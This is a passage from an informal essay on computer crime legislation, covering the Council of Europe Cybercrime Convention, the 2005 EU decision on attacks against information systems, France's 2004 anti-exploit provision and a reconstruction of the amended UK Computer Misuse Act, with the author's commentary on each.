      Article 34 - Mutual assistance regarding the interception of content 
                   data
    Title 3 - 24/7 Network
      Article 35 - 24/7 Network
      
Chapter IV - Final provisions
      Article 36 - Signature and entry into force
      Article 37 - Accession to the Convention
      Article 38 - Territorial application
      Article 39 - Effects of the Convention
      Article 40 - Declarations
      Article 41 - Federal clause
      Article 42 - Reservations
      Article 43 - Status and withdrawal of reservations
      Article 44 - Amendments
      Article 45 - Settlement of disputes
      Article 46 - Consultations of the Parties
      Article 47 - Denunciation
      Article 48 - Notification

6.5 Some Explanations

6.5.1 In General

As you can see, the CoC covers a very wide scope. It does everything from
labelling what actions should be illegal (Chapter II Section 1), to
explaining how government bodies are to invoke law to enforce those laws
(Chapter II Section 2), to explaining where the law applies, to explaining
exactly how countries should work together, to explaining all the metadata
in relation to the treaty itself. 

The treaty illustrates not just crimes, but how governments (within
themselves and with other governments) should deal with these crimes and
form the authority to do so. This treaty is utterly wide in scope of
suggestions. For a country to implement it verbatim they would probably
need to not just overhaul their computer crime legislation, but also their
entire legal system, their constitution, and their organization of
government.

However, signing this treaty does not require a country to implement
everything. First off, the treaty uses terms like "may" a lot. Secondly,
many parts specifically say they do not need to be implemented. Thirdly,
this convention can be considered as basically a set of recommendations.
Fourthly, signing it is just a ceremonial agreement with it in theory. To
come into effect it needs to be ratified within a nation, and then many
parts may need to be directly implemented into law.

6.5.2 Specific Articles

Most of the actual actions limited are fairly straightforward. However,
some could use a little more explanation.

6.5.2.1 Article 6 - Misuse of devices

Allow me to take the law and remove labels.

1. "Each Party shall adopt such legislative and other measures as may be
necessary to establish as criminal offences under its domestic law, when
committed intentionally and without right: the production, sale,
procurement for use, import, distribution or otherwise making available
of: a device, including a computer program, designed or adapted primarily
for the purpose of committing any of the offences established in
accordance with Articles 2 through 5; a computer password, access code, or
similar data by which the whole or any part of a computer system is
capable of being accessed, with intent that it be used for the purpose of
committing any of the offences established in Articles 2 through 5; and
the possession of an item referred to in paragraphs above, with intent
that it be used for the purpose of committing any of the offences
established in Articles 2 through 5. A Party may require by law that a
number of such items be possessed before criminal liability attaches."

If you don't want to read that, it says that it should be illegal to make,
sell, buy, import, or distribute a program or authentication details that
allow the previous crimes (illegal access, illegal interception, data
interference, system interference) to take place, with intent that it be
used for that purpose.

This illustrates that malicious intent in design of hacking tools or
exploits, or damaging intent with the distribution of auth details, should
(by their analysis) be illegal. This is a crucial development. It is also
well-placed. First, in the treaty, they list four well-defined criminal
actions, and then fifthly they attack the processes with which these four
actions could be possible. Part two states:

2. "This article shall not be interpreted as imposing criminal liability
where the production, sale, procurement for use, import, distribution or
otherwise making available or possession referred to in paragraph 1 of
this article is not for the purpose of committing an offence established
in accordance with Articles 2 through 5 of this Convention, such as for
the authorised testing or protection of a computer system."

Here they specifically state that it is not criminal to do the above when
you do not intend to cause an offence, and they list proper examples.

6.5.2.2 Article 12 - Corporate liability

This article explains how corporations can be liable for actions taken by
select individuals.

1. "Each Party shall adopt such legislative and other measures as may be
necessary to ensure that legal persons can be held liable for a criminal
offence established in accordance with this Convention, committed for
their benefit by any natural person, acting either individually or as part
of an organ of the legal person, who has a leading position within it,
based on: a power of representation of the legal person; an authority to
take decisions on behalf of the legal person; an authority to exercise
control within the legal person."

Just to be clear, "legal persons" here actually refers to corporations. In
law (criminal law, tax law, business law, etc), corporations can be
treated as individuals on their own, as "legal persons" who can come under
the judgement of law.

So, if a powerful person in the corporation causes the crime, the
corporation can be held liable.

2. "In addition to the cases already provided for in paragraph 1 of this
article, each Party shall take the measures necessary to ensure that a
legal person can be held liable where the lack of supervision or control
by a natural person referred to in paragraph 1 has made possible the
commission of a criminal offence established in accordance with this
Convention for the benefit of that legal person by a natural person acting
under its authority."

The corporation can again be held liable if management failed to supervise
their employees to an appropriate extent, leading to criminal actions.

6.5.2.3 Articles 16 through 21 about the powers of authorities

Here we get into some very debatable articles. The CoC carelessly lists
powers that should be necessary for a government to implement
investigation of the crimes listed in Chapter II, Section 1. They list
extensive powers, but hardly list any limitations to those powers. These
powers include (you will have to forgive my paraphrasing, or go read it
yourself) the following:

Powers to enable/empower authorities to:

  - obtain the expeditious preservation of specified computer data,
    including traffic data, that has been stored by means of a computer
    system, in particular where there are grounds to believe that the 
    computer data is particularly vulnerable to loss or modification.

  - oblige that person to preserve and maintain the integrity of
    that computer data for a period of time as long as necessary, up to
    a maximum of ninety days, to enable the competent authorities to seek 
    its disclosure.

  - ensure that such expeditious preservation of traffic data is
    available regardless of whether one or more service providers were
    involved in the transmission of that communication;

  - ensure the expeditious disclosure to the Party's competent
    authority, or a person designated by that authority, of a sufficient
    amount of traffic data to enable the Party to identify the service
    providers and the path through which the communication was transmitted.

  - order a person in its territory to submit specified computer data in 
    that person's possession or control, which is stored in a computer 
    system or a computer-data storage medium;

  - order a service provider offering its services in the territory of the 
    Party to submit subscriber information relating to such services in
    that service provider's possession or control. Such as:

  - the type of communication service used, the technical provisions
    taken thereto and the period of service;

  - the subscriber's identity, postal or geographic address, telephone and 
    other access number, billing and payment information, available on the 
    basis of the service agreement or arrangement;

  - any other information on the site of the installation of communication 
    equipment, available on the basis of the service agreement or 
    arrangement.

  - search a computer system or part of it and computer data stored
    therein

  - search a computer-data storage medium in which computer data may
    be stored in its territory.

  - seize or similarly secure a computer system or part of it or a
    computer-data storage medium;

  - make and retain a copy of those computer data;

  - maintain the integrity of the relevant stored computer data;

  - render inaccessible or remove those computer data in the
    accessed computer system.
 
  - order any person who has knowledge about the functioning of the
    computer system or measures applied to protect the computer data 
    therein to provide, as is reasonable, the necessary information

  - collect or record through the application of technical means on
    the territory of that Party, and

  - compel a server provider to collect or record through the
    application of technical means on the territory of that Party;

  - compel a service provider to co-operate and assist the competent
    authorities in the collection or recording of, traffic data, in 
    real-time, associated with specified communications in its 
    territory transmitted by means of a computer system.

  - oblige a service provider to keep confidential the fact of the
    execution of any power provided for in this article and any 
    information relating to it.

  - collect or record through the application of technical means on
    the territory of that Party

  - compel a service provider to collect or record through the
    application of technical means on the territory of that Party

  - compel a service provider to co-operate and assist the competent
    authorities in the collection or recording of, content data, in 
    real-time, of specified communications in its territory transmitted 
    by means of a computer system.

Finally, done. I completely butchered those points by taking them out of
articles and not listing them fluently, so if you are going to take them
seriously, please read them as they were published.

As you can see, the CoC lists every power imaginable and says that
governments "may" use these powers. "May" is to be interpreted as "may
choose to", however, since the entire CoC uses the term "may" simply
because it cannot force anything on any government, these points can all
be considered as direct suggestions. 
  
6.5.3 On the lack of inclusion of user rights  

The Convention on Cybercrime has to defer powers to national constitutions
and high law, and this is mentioned within the text multiple times. Any
first world country applying any laws recommended in the CoC would have to
limit their scope and power depending on the rights of individuals in that
country. Instead of being bogged down in writing their own limitations,
the committee fielding the CoC simply wrote a list of laws, powers, and
policies that would enable a country to have the legal framework to defend
against computer crimes. 

However, their choice of not listing any limitations or being expressly
clear that limitations need to be there is still negligent. In their very
preface they say they are:

"Mindful of the need to ensure a proper balance between the interests of
law enforcement and respect for fundamental human rights as enshrined in
the 1950 Council of Europe Convention for the Protection of Human Rights
and Fundamental Freedoms, the 1966 United Nations International Covenant
on Civil and Political Rights and other applicable international human
rights treaties, which reaffirm the right of everyone to hold opinions
without interference, as well as the right to freedom of expression,
including the freedom to seek, receive, and impart information and ideas
of all kinds, regardless of frontiers, and the rights concerning the
respect for privacy;

Mindful also of the right to the protection of personal data, as
conferred, for example, by the 1981 Council of Europe Convention for the
Protection of Individuals with regard to Automatic Processing of Personal
Data;"

So while citing which fundamental human rights and personal data
legislation they are considering authoritative, they still ignore any of
those issues. 

They purposely give the impression that they consider extensive powers to
be acceptable, and by doing so with disregard (in the body of text) to
limitations on those powers, they have undermined their moral authority on
this subject.

6.6 Provisions

[http://conventions.coe.int/Treaty/en/Treaties/Html/189.htm]

In 2003 the CoE passed a set of provisions to the CoC. These generally
deal with racist material or material denying/approving/justifying
genocide (See: Turkey).

6.7 Current state

43 nations, including non-European nations Canada, the US, Japan, and
South Africa, have signed the treaty. 16 nations, including the US and
France, have so far ratified the treaty. By signing a treaty a
representative of a government says that his government agrees in general
with the treaty. By ratifying the treaty, a national government body has
agreed to make the treaty legal, to the extent that it can. From that
point, countries can act in accordance with the policies detailed in the
treaty, but in many areas would need to pass specific laws or changes to
existing laws to apply articles of the treaty.

The only two "major" countries (and if you want me to define that, let's
say a country that sits on the UN permanent security council, or is in the
G8 group of nations) to have ratified the Convention on Cybercrime are the
US and France, and both did so in 2006. Neither have passed laws after
that point to further align with CoC provisions.

As such, the CoC is only in effect in the 16 ratifying nations, and may
have only modified legal codes in some of those to this date.

6.8 Legal Place of the Treaty and Conclusions

The CoC is intelligent, well researched, and well organized. By having
studies as early as the 1980s, the Council of Europe showed an
understanding of the potential consequences of technology on society far
ahead of their time. Before Windows, websites, internet spam, instant
messengers, and so much more, the CoE recognized the need to have
international law and coordination over this realm of activities.

The CoC was drafted with the inclusion of important electronic nations
including the US, Canada, and Japan. The Council of Europe branched out to
these nations and invited them into the process, and as such, the US was
able to negotiate aspects of the treaty to make it more concurrent with
American law and interests. Without this the US may not have been able to
ratify the treaty, and it had troubles doing so anyways.

The treaty does a lot for the US. The US has a lot to gain from increased
international cooperation in these areas, especially when other countries
hosting criminals lack the technical knowledge to investigate them.

By reaching out and including some crucial nations (with some obvious
exceptions being China, India, Brazil, Pakistan, and Australia), the CoC
is not just a European concept, it is an international concept. Further,
it was the first international legal framework in computer crime. Of note,
Russia did not sign the treaty, let alone ratify it.

By being the first (and by my opinion, the best to date) international
treaty on computer crime, the CoC sets itself as an acceptable standard
for all countries to look at when designing hacking laws. Although in its
first five years only fifteen countries have ratified it, the CoC will
have a lasting effect on any future hacking legislation. It will be looked
back upon as a landmark piece of work.

However, the lack of limitations imposed on investigating powers by the
treaty can have a very damaging effect. Although first world countries may
have strong individual rights that cannot be violated by legislation in
accordance with the CoC, third world countries developing rudimentary
technological laws may not have such rights, and may choose to not propose
them or set precedents for them by applying limitations not detailed
within the CoC. The treaty mentions rights legislation and then ignores
it, setting a poor example for impressionable governments.


7. The European Union makes a move

The European Union is a very different organization from the Council of
Europe. I should not need to point that out, especially after explaining
the CoE a bit above, but I shall anyways. The CoE is just a council, a
place for reaching common agreements, where any country can choose to not
agree to a treaty. The EU is an authority. It is a binding power with an
increasing level of control over Europe. And as any authority, it can do
more than analyze and suggest, it can demand.

Around the time that the CoE was putting together its final feelings on
computer crime, the EU was getting into the topic and doing the same, to
go along with its thoughts about access to the internet in general (see
the eEurope Action Plan 2002). In 2005 they released a decision, titled
"Council Framework Decision 2005/222/JHA of 24 February 2005 on attacks
against information systems" or "Attacks against information systems" for
short. In this very short decision they reference a variety of studies,
including that by the Council of Europe. They stress the need for
cooperation and consistency, and do so with particular reference to
threats from organized crime and terrorists.

[http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=CELEX:32005F0222:EN:HTML]

The decision is very practical, simple, and short. It is not a legal or
conceptual work or art, instead it is a memo ordering certain actions from
member countries. Among other things it casually states that crimes should
not be over-prosecuted, and that countries should be general in their
legal definitions to form consistency. 

The only specific laws it enforces are against:

- Access to information systems
- System interference
- Data interference
- Instigation, aiding and abetting and attempt

After that it explains the liability of legal persons, exchange of
information, penalties, and jurisdictions.

Very little of the decision is surprising, but a few points are worth
noting:

1. A country should consider it an occured crime if the act has been
   committed physically on its territory or if the victim (the information
   system targeted) is on its territory.
2. The decision states specifically how nations should choose which one
   (and not multiple nations) should prosecute an accused individual.
3. It states that the maximum penalty for the above crimes (by
   individuals) should be at least one to three years of jail. 

The decision uses very similar terms and language as the Convention on
Cybercrime, and is clearly influenced by it. The decision can be looked at
as an order to instigate some very basic foundations that countries needed
to apply immediately. Countries were to have complied by March 16th, 2007.


8 France 2004

8.1 Introduction

[http://www.legifrance.gouv.fr/WAspad/UnTexteDeJorf?numjo=ECOX0200175L]

In 2004 the French National Assembly passed a law titled "LOI nø 2004-575
du 21 juin 2004 pour la confiance dans l'‚conomie num‚rique". This act,
in specific comparison to the elegant Convention on Cybercrime, is a
complete bastard to read. It just isn't fun. A lot of the law simply
updates the terms or punishments of French codes. If you recall my
discussion of common law and civil law systems earlier, you will note that
France is a civil law country (and a historic leader in civil law), and as
such has to be concerned with the accuracy and level of modernism in its
legal codes.

As always, I stress that you should read this law, preferably in French.
Firstly, meaning is attached to words as they are understood, and what a
word means in French in France might not be quite the same as its
translated partner in English. In law, the meaning of words really does
matter. Secondly, my knowledge of French, although thick enough for me to
read that act with a dictionary by my side, is not good enough for me to
feel confident translating it. The French government has yet to provide an
English translation. I will quote parts of the law in their original
French.

8.2 Your right

The act starts by referring to a French policy from 1986:

® Art. 1er. - La communication au public par voie‚ lectronique est libre.

® L'exercice de cette libert‚ ne peut etre limit‚ que dans la mesure
requise, d'une part, par le respect de la dignit‚ de la personne humaine,
de la libert‚ et de la propriete d'autrui, du caractere pluraliste de
l'expression des courants de pense et d'opinion et, d'autre part, par la
sauvegarde de l'ordre public, par les besoins de la d‚fense nationale,
par les exigences de service public, par les contraintes techniques
inherentes aux moyens de communication, ainsi que par la necessite,
pour les services audiovisuels, de developper la production
audiovisuelle.

This states that the use of the internet is to be free, and then lists the
necessary limits upon that use. "libre" is not to be taken as free in a
monetary sense, but free in the sense of use. "Free as in speech, not free
as in beer". 

Here, right at the beginning, the French reestablish an individual right
to the internet, and by doing so make it clear that they still consider
this right, written in 1986, to apply fully to the internet as it has
changed since. This is in marked contrast to the Convention on Cybercrime,
which is "Convinced of the need to pursue, as a matter of priority, a
common criminal policy aimed at the protection of society against
cybercrime, inter alia, by adopting appropriate legislation and fostering
international co-operation". The CoC is all about protecting society from
individuals, not individuals from society, and enabling Europe to work
together to protect society together. American law is all about stopping
you from doing bad things, it says nothing about any right to use
prevalent technologies. 

France has a history of expanding rights. In this case, as in others, they
do so at the expense of complicating the situation for themselves. Now
they have to be careful about when to restrain your rights, and when they
have to protect it. 

8.3 The responsibility of ISPs

Ironically, shortly after that beginning, the act makes its strongest
attack on individual liberties. In Article 6 it states (among other
paragraphs):

"2. Les personnes physiques ou morales qui assurent, meme Â… titre
gratuit, pour mise Â… disposition du public par des services de
communication au public en ligne, le stockage de signaux, d'ecrits,
d'images, de sons ou de messages de toute nature fournis par des
destinataires de ces services ne peuvent pas voir leur responsabilit‚
civile engage du fait des activites ou des informations stockes Â… la
demande d'un destinataire de ces services si elles n'avaient pas
effectivement connaissance de leur caractere illicite ou de faits et
circonstances faisant apparatre ce caractere ou si, des le moment ou
elles en ont eu cette connaissance, elles ont agi promptement pour retirer
ces donn‚es ou en rendre l'acces impossible."

This is part of a long section on ISPs. The above quote partially says
that an ISP is not liable for illegal content (i.e. websites) held by its
users, as long as it gets rid of it when they are informed of it or when
told to remove it. Additionally (mentioned in other parts), ISPs need to
store contact information on complainers and users. 

There are a few reasons why this is a bit interesting. The first is that
while other countries (eg. the US) have issues about just how much
authority the government has over ISPs, this clearly states that in
France, the ISPs are the bitches. Secondly, this does put some
responsibility on ISPs to make judgements based on the law. However,
neither of those points are surprising or overly unreasonable.

8.4 Against exploits and hacking tools

8.4.1 Article 46

The act then continues to bounce back and forth between updating laws and
creating laws, on topics ranging from cryptology to television. Then,
between "Saisine des moyens de l'Etat pour la mise au clair de donn‚es
chiffr‚es" and "DES SYSTÔMES SATELLITAIRES" we get "Lutte contre la
cybercriminalit‚". In this section there are a bunch of changes in
terminology and punishments, and then suddenly we find ourselves looking
at Article 46. 

"I. - Apres l'article 323-3 du code penale il est insere un article
323-3-1 ainsi redige:

® Art. 323-3-1. - Le fait, sans motif legitime, d'importer, de detenir,
d'offrir, de cider ou de mettre Â… disposition un equipement, un
instrument, un programme informatique ou toute donnee con‡us ou
specialement adaptes pour commettre une ou plusieurs des infractions
prevues par les articles 323-1 Â… 323-3 est puni des peines prevues
respectivement pour l'infraction elle-meme ou pour l'infraction la plus
severement reprimee.

II. - Aux articles 323-4 et 323-7 du meme code, les mots : ® les
articles 323-1 … 323-3 ¯ sont remplaces par les mots : ® les articles
323-1 Â… 323-3-1."

This is the anti-exploit addition to French law. It is similar to the
"Misuse of Devices" listed back in the Convention on Cybercrime. 

8.4.2 The previous state of the law

The relevant French hacking law before this can be located in:

The French Penal Code
BOOK III. FELONIES AND MISDEMEANOURS AGAINST PROPERTY
TITLE II. - OTHER OFFENCES AGAINST PROPERTY
CHAPTER III. - UNAUTHORISED ACCESS TO AUTOMATED DATA PROCESSING SYSTEMS
               (Articles 323-1 to 323-7 )

This previously stated, in full:

[ English translation courteousy of the French government:
http://www.legifrance.gouv.fr/html/codes_traduits/liste.htm ]

CHAPTER III. - UNAUTHORISED ACCESS TO AUTOMATED DATA PROCESSING SYSTEMS
Article 323-1

Ordinance no. 2000-916 of 19th September 2000 Article 3 Official Journal
of 22nd September 2000 came into force the 1st January 2002 

Fraudulently accessing or remaining within all or part of an automated
data processing system is punished by one year's imprisonment and a fine
of ? 15,000.

Where this behaviour causes the suppression or modification of data
contained in that system, or any alteration of the functioning of that
system, the sentence is two years' imprisonment and a fine of ?30,000.
ARTICLE 323-2

Ordinance no. 2000-916 of 19th September 2000 Article 3 Official Journal
of 22nd September 2000 came into force the 1st January 2002 

Obstruction or interference with the functioning of an automated data
processing system is punished by three years' imprisonment and a fine of
? 45,000.
ARTICLE 323-3

Ordinance no. 2000-916 of 19th September 2000 Article 3 Official Journal
of 22nd September 2000 came into force the 1st January 2002 

The fraudulent introduction of data into an automated data processing
system or the fraudulent suppression or modification of the data that it
contains is punished by three years' imprisonment and a fine of 
? 45,000.
ARTICLE 323-4

The participation in a group or conspiracy established with a view to the
preparation of one or more offences set out under articles 323-1 to 323-3,
and demonstrated by one or more material actions, is punished by the
penalties prescribed for offence in preparation or the one that carries
the heaviest penalty.
ARTICLE 323-5

Natural persons convicted of any of the offences provided for under the
present Chapter also incur the following additional penalties:

1ø forfeiture of civic, civil and family rights, pursuant to the
   conditions set out under article 131-26;

2ø prohibition, pursuant to the conditions set out under article 131-27
   to hold public office or to undertake the social or professional 
   activity in the course of which or on the occasion of the performance 
   of which the offence was committed, for a maximum period of five years;

3ø confiscation of the thing which was used or intended for the
   commission of the offence, or of the thing which is the product of it,
   with the exception of articles subject to restitution;

4ø mandatory closure, for a maximum period of five years of the business
   premises or of one or more of the premises of the undertaking used to
   commit the offences;

5ø disqualification from public tenders for a maximum period of five
   years;

6ø prohibition to draw cheques, except those allowing the withdrawal of
   funds by the drawer from the drawee or certified cheques, for a maximum
   period of five years;

7ø public display or dissemination of the decision, in accordance with
   the conditions set out under article 131-35.

ARTICLE 323-6

Legal persons may incur criminal liability for the offences referred to
under the present Chapter pursuant to the conditions set out under article
121-2.

The penalties incurred by legal persons are:

1ø a fine, pursuant to the conditions set out under article 131-38;

2ø the penalties referred to under article 131-39.

The prohibition referred to under 2ø of article 131-39 applies to the
activity in the course of which or on the occasion of the performance of
which the offence was committed.
ARTICLE 323-7

Attempt to commit the misdemeanours referred to under articles 323-1 to
323-3 is subject to the same penalties.


8.4.3 Commentary

Now, after the three basic laws of access, interference, and modification,
we can insert a clause about creating tools ("sp‚cialement adapt‚s") for
that purpose.

For many of us, this is by far the most important piece of law in this
entire act. Yet, here it was placed, basically hidden down in Article 46
in the middle of this horribly disorganized and diverse act.

Some of you may remember FrSIRT (French Security Incident Response Team,
formerly K-Otik) from back in the days when they had a public website that
listed exploits. They stopped doing that (eventually), citing this law. A
lot of people gave them shit for it, saying it was about money, because
they switched to releasing exploits only to paying customers. 

However, FrSIRT was an absolutely perfect target for this law. They were
very visible and popular, because they would gather and host public
exploits. They were not the only site to do this, but were probably the
most popular in France by far. By selling the exploits they can confirm
who is buying them and hold that information, and of course they would
have a smaller damaging effect. As such, they became much safer from this
law. This would have been a juicy open-and-shut case. FrSIRT had no reason
to tempt France into making it a martyr for the cause of providing free
easy-to-use exploits to the public.

The biggest problem with the new law is not the written content, but the
fact that it was slipped in among so many other laws. It wasn't a
priority. If the French government really wanted to make a difference,
they would have clearly mentioned this specific change and made sure it
was a big deal in the media. They could have said that they were detailing
a specific law enforcement agency to enforce this, as a priority, and thus
that they would be looking for violations of this law in particular.

9 United Kingdom 2006

9.1 The Police and Justice Bill

[http://www.publications.parliament.uk/pa/cm200506/cmbills/119/2006119.htm]

The United Kingdom's computer crime law is centralized under the Computer
Misuse Act 1990. This act was amended in 2005, which added provisions for
denial of service attacks. In 2006 the Police and Justice Bill was passed.
This bill changed a lot of things, but in relevance to hacking laws it
changed the following:

- Penalties were increased
- Section 3 ("Unauthorised modification of computer material") was
  entirely replaced (with "Unauthorised acts with intent to impair 
  operation of computer, etc")
- A new part, 3A, is formed, titled "Making, supplying or obtaining
  articles for use in computer misuse offences"

The first two are not very interesting, but I will paraphrase the third
here.
  
"A person is guilty of an offence if he makes, adapts, supplies or offers
to supply any article- knowing that it is designed or adapted for use in
the course of or in connection with an offence under section 1 or 3; or
intending it to be used to commit, or to assist in the commission of, an
offence under section 1 or 3. A person is guilty of an offence if he
obtains any article with a view to its being supplied for use to commit,
or to assist in the commission of, an offence under section 1 or 3. In
this section "article" includes any program or data held in electronic
form. A person guilty of an offence under this section shall be liable-
on summary conviction in England and Wales, to imprisonment for a term not
exceeding 12 months or to a fine not exceeding the statutory maximum or to
both; on summary conviction in Scotland, to imprisonment for a term not
exceeding six months or to a fine not exceeding the statutory maximum or
to both; on conviction on indictment, to imprisonment for a term not
exceeding two years or to a fine or to both."

This is, again, an anti-hacking/anti-exploit provision. This applies if
you make, adapt, supply, offer to supply, or receive the tool. You have to
either know it was designed (or adapted) to break the laws listed in the
Computer Misuse Act, or you make/adapt/supply/offer to supply/receive
specifically to break those laws.

9.2 Current state of the Computer Misuse Act

Since I could not find such a document hosted online at all, let alone by
the UK government, here is my unofficial reconstruction of what the
Computer Misuse Act, after both sets of amendments, would look like as one
piece today. I will only include the "Computer misuse offences" section.
If you are concerned about the "Jurisdiction" section or the
"Miscellaneous and general", then please go read them yourself. Although
this is long, it is relevant, and I think it is important that someone,
somewhere, actually puts this together to limit confusion. 


Computer misuse offences


1 - Unauthorised access to computer material.

(1) A person is guilty of an offence if-
  (a) he causes a computer to perform any function with intent to secure
      access to any program or data held in any computer;
  (b) the access he intends to secure is unauthorised; and
  (c) he knows at the time when he causes the computer to perform the
      function that that is the case.

(2) The intent a person has to have to commit an offence under this
    section need not be directed at-
  (a) any particular program or data;
  (b) a program or data of any particular kind; or
  (c) a program or data held in any particular computer.

(3) A person guilty of an offence under this section shall be liable-
  (a) on summary conviction in England and Wales, to imprisonment for a
      term not exceeding 12 months or to a fine not exceeding the 
      statutory maximum or to both;
  (b) on summary conviction in Scotland, to imprisonment for a term not
      exceeding six months or to a fine not exceeding the statutory 
      maximum or to both;
  (c) on conviction on indictment, to imprisonment for a term not
      exceeding two years or to a fine or to both.


2 - Unauthorised access with intent to commit or facilitate commission
of further offences.   

(1) A person is guilty of an offence under this section if he commits an
    offence under section 1 above ("the unauthorised access offence") 
    with intent-
  (a) to commit an offence to which this section applies; or
  (b) to facilitate the commission of such an offence (whether by himself
      or by any other person);
  and the offence he intends to commit or facilitate is referred to below 
  in this section as the further offence.

(2) This section applies to offences-
  (a) for which the sentence is fixed by law; or
  (b) for which a person of twenty-one years of age or over (not
      previously convicted) may be sentenced to imprisonment for a term 
      of five years (or, in England and Wales, might be so sentenced but 
      for the restrictions imposed by section 33 of the [1980 c. 43.] 
      Magistrates' Courts Act 1980).

(3) It is immaterial for the purposes of this section whether the further
    offence is to be committed on the same occasion as the unauthorised 
    access offence or on any future occasion.

(4) A person may be guilty of an offence under this section even though
    the facts are such that the commission of the further offence is
    impossible.

(5) A person guilty of an offence under this section shall be liable-
  (a) on summary conviction, to imprisonment for a term not exceeding six
      months or to a fine not exceeding the statutory maximum or to both; 
      and
  (b) on conviction on indictment, to imprisonment for a term not
      exceeding five years or to a fine or to both.


2A - Denial of service

(1) A person is guilty of an offence if, with the requisite intent-
  (a) he does any act-
    (i) which causes; or
    (ii) which he intends to cause, directly or indirectly, an impairment
         of access to any program or data held in computer A;
  (b) the act is unauthorised; and
  (c) he knows at the time when he does the act that he is doing so.

(2) For the purposes of subsection (1)-
  (a) 'the act is unauthorised' if the person doing it-
    (i) is not the owner-
      (a) of computer A, or
      (b) (where paragraph (b)(ii) applies) of computer A or computer B; or
    (ii) does not have the permission of the owner-
      (a) of computer A, or
      (b) (where paragraph (b)(ii) applies) of computer A or computer B; and
  (b) 'the requisite intent' is intent to damage the performance of an
      activity-
    (i) for which computer A, or any program or data held in computer A,
        is used; or
    (ii) for which computer B, or any program or data held in computer B,
         is used, where that intended damage results, or would result, in 
         damage to the performance of an activity for which computer A, or 
         any program or data held in computer A, is used.

(3) An offence is not committed under this section unless every act or
    other event proof of which is required for conviction of the offence 
    takes place after the Computer Misuse Act 1990 (Amendment) Act 2005 
    comes into force.

(4) A person guilty of an offence under this section shall be liable-
  (a) on summary conviction, to imprisonment for a term not exceeding six
      months or to a fine not exceeding the statutory maximum or both; and
  (b) on conviction on indictment, to imprisonment for a term not
      exceeding two years or to a fine or both.

(5) This section does not extend to Scotland.

  
2B - Denial of service with intent to commit or facilitate commission of
     further offences
  
(1) A person is guilty of an offence if, with the requisite intent-
  (a) he does any act-
    (i) which causes; or
    (ii) which he intends to cause, directly or indirectly, an impairment
         of access to any program or data held in computer A;
  (b) the act is unauthorised; and
  (c) he knows at the time when he does the act that he is doing so.

(2) For the purposes of subsection (1)-
  (a) 'the act is unauthorised' if the person doing it-
    (i) is not the owner-
      (a) of computer A, or
      (b) (where paragraph (b)(i)(b) applies) of computer A or computer B; or
    (ii) does not have the permission of the owner-
      (a) of computer A, or
      (b) (where paragraph (b)(i)(b) applies) of computer A or computer B; and
  (b) 'the requisite intent' is-
    (i) intent to damage the performance of an activity-
      (a) for which computer A, or any program or data held in computer A,
          is used; or
      (b) for which computer B, or any program or data held in computer B,
          is used, where that intended damage results, or would result, in 
          damage to the performance of an activity for which computer A, or 
          any program or data held in computer A, is used;
    (ii) together with intent-
      (a) to commit an offence to which this section applies; or
      (b) to facilitate the commission of such an offence (whether by
          himself or by any other person), and the offence he intends to 
          commit or facilitate is referred to below in this section as the 
          further offence.

(3) This section applies to offences-
  (a) for which the sentence is fixed by law; or
  (b) for which a person who has attained the age of eighteen years and
      has no previous convictions may (subject to subsection (4)) be 
      sentenced to imprisonment for a term of five years.

(4) The reference in subsection (3)(b) to a sentence of imprisonment for a
    term of five years applies-
  (a) in England and Wales, to offences for which a person might be so
      sentenced but for the restrictions imposed by section 33 of the
      Magistrates' Courts Act 1980; and
  (b) in Northern Ireland, to offences for which a person might be so
      sentenced but for the restrictions imposed by Article 46(4) of the
      Magistrates' Courts (Northern Ireland) Order 1981.

(5) It is immaterial for the purposes of this section whether the further
    offence is to be committed on the same occasion as the denial of service
    offence or on any future occasion.

(6) A person may be guilty of an offence under this section even though
    the facts are such that the commission of the further offence is
    impossible.

(7) An offence is not committed under this section unless every act or
    other event proof of which is required for conviction of the offence 
    takes place after the Computer Misuse Act 1990 (Amendment) Act 2005 comes 
    into force.

(8) A person guilty of an offence under this section shall be liable-
  (a) on summary conviction, to imprisonment for a term not exceeding six
      months or to a fine not exceeding the statutory maximum or both; and
  (b) on conviction on indictment, to imprisonment for a term not
      exceeding five years or to a fine or both.

(9) This section does not extend to Scotland."


3 - Unauthorised acts with intent to impair operation of computer, etc.

(1) A person is guilty of an offence if-
  (a) he does any unauthorised act in relation to a computer; and
  (b) at the time when he does the act he has the requisite intent and the
      requisite knowledge.

(2) For the purposes of subsection (1)(b) above the requisite intent is an
    intent to do the act in question and by so doing-
  (a) to impair the operation of any computer,
  (b) to prevent or hinder access to any program or data held in any
      computer, or
  (c) to impair the operation of any such program or the reliability of
      any such data, whether permanently or temporarily.

(3) The intent need not be directed at-
  (a) any particular computer;
  (b) any particular program or data; or
  (c) a program or data of any particular kind.

(4) For the purposes of subsection (1)(b) above the requisite knowledge is
    knowledge that the act in question is unauthorised.

(5) In this section-
  (a) a reference to doing an act includes a reference to causing an act
      to be done;
  (b) "act" includes a series of acts.

(6) A person guilty of an offence under this section shall be liable-
  (a) on summary conviction in England and Wales, to imprisonment for a
      term not exceeding 12 months or to a fine not exceeding the statutory
      maximum or to both;
  (b) on summary conviction in Scotland, to imprisonment for a term not
      exceeding six months or to a fine not exceeding the statutory maximum 
      or to both;
  (c) on conviction on indictment, to imprisonment for a term not
      exceeding ten years or to a fine or to both."


3A - Making, supplying or obtaining articles for use in offence under
     section 1 or 3
  
(1) A person is guilty of an offence if he makes, adapts, supplies or
    offers to supply any article-
  (a) knowing that it is designed or adapted for use in the course of or
      in connection with an offence under section 1 or 3; or
  (b) intending it to be used to commit, or to assist in the commission
      of, an offence under section 1 or 3.

(2) A person is guilty of an offence if he obtains any article with a view
    to its being supplied for use to commit, or to assist in the commission
    of, an offence under section 1 or 3.

(3) In this section "article" includes any program or data held in
    electronic form.

(4) A person guilty of an offence under this section shall be liable-
  (a) on summary conviction in England and Wales, to imprisonment for a
      term not exceeding 12 months or to a fine not exceeding the statutory
      maximum or to both;
  (b) on summary conviction in Scotland, to imprisonment for a term not
      exceeding six months or to a fine not exceeding the statutory maximum 
      or to both;
  (c) on conviction on indictment, to imprisonment for a term not
      exceeding two years or to a fine or to both."


Note the summary conviction offences. The UK has decided that, instead of
a lengthy and expensive trial for every case, many could simply deserve a
ticket for example.

9.3 Commentary

I do not have much to say about that. It is fairly straight-forward. The
law obviously was lacking before the amendments, but is now much better.
The British laws seem fairly honest in their meaning and levels of
punishment. I have no idea why they cannot on their own apply all of these
laws to Scotland (or Wales or Northern Ireland, for that matter, in some
cases).

10 Germany 2007

[http://www.bmj.de/files/-/1317/RegE%20Computerkriminalit%E4t.pdf]

